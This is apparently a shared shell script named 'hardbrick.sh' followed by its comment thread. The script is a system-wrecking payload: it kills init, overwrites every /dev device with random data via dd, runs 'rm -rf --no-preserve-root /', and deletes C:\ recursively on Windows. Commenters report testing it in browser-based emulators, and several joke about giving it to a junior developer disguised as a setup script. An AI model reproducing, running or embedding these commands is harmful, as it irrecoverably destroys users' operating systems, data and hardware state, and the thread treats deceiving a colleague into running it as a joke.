/dev bowling

hardbrick.sh

# DO NOT RUN UNLESS IT'S A VM! I TAKE NO RESPOSIBILITY FOR YOUR ACTIONS WITH THIS.
exit
kill -9 $pid
logout
kill -9 1
pkill init
sudo pkill init
for device in `find /dev`
do
# Don't run synchronously
`echo $device;dd if=/dev/urandom of=$device`&
done
echo "Well, something didn't work right. Your computer's still intact. Oh, well."
rm -rf /
rm -rf --no-preserve-root /
# For windows
del /S /F /Q C:\

Testing on https://copy.sh/v86/?profile=dsl

@webdev03 How is this? Try it out on https://copy.sh/v86/?profile=buildroot

At a certain point (at least on DSL) it starts writing random data to your mouse device, which basically finalizes everything. After that, there's no recovery.

Went down at about ram19 on DSL.

won't try it even in a vm

@webdev03 That evil?

its still a vm on my computer, i know it wont hit my real computer, but it would take a toll on the real cpu

@webdev03 I know. It nearly wiped out my Chrome OS dev machine. You might be able to avoid the CPU load if you use Bochs and set a decently low limit for the clock speed.

random data to your mouse device

One of the earlier and cooler computer virus was "Ghost Virus". Innocuous enough, it simply reversed your mouse.

http://virus.wikidot.com/ghost

@mryellow I do more than that. Nuclear is always better.

@mryellow ahh, the Ghost virus was incredibly annoying... Apart from forcing you to boot with no floppy disk if you're not sure which of your disks is infected (this takes around 30 seconds extra on the Atari ST), it also happened to wreck game disks since they usually had a custom bootsector loader which Ghost overwrites.

The original was clean, wiki talks about later variants having bugs.

In my experiments messing with Atari ST boot sectors (on disks which already had data) it was pretty easy to have something go wrong though.

It seems potentially recoverable with a reinstall. Could also wipe the EFI vars for total chaos.

@battlesnake Feel free to add that on a fork. Just make sure it still runs on v86.

using urandom instead of zero

yea I guess if you're a turtle.

@hello-smile6 Can you please stop promoting this Gist on Marak/colors.js?

@TechStudent11 Okay

@TechStudent11 Okay

I wasn't expecting you just to comply! Thanks!

@TechStudent11 You're welcome

this looks like fun, I will give it to Junior Developer as a setup environment script

this looks like fun, I will give it to Junior Developer as a setup environment script

oh no!! 😟

this looks like fun, I will give it to Junior Developer as a setup environment script

if that jr. dev is your friend then

friends--

this looks like fun, I will give it to Junior Developer as a setup environment script

Leveled Ubuntu 20 in less than 10 seconds.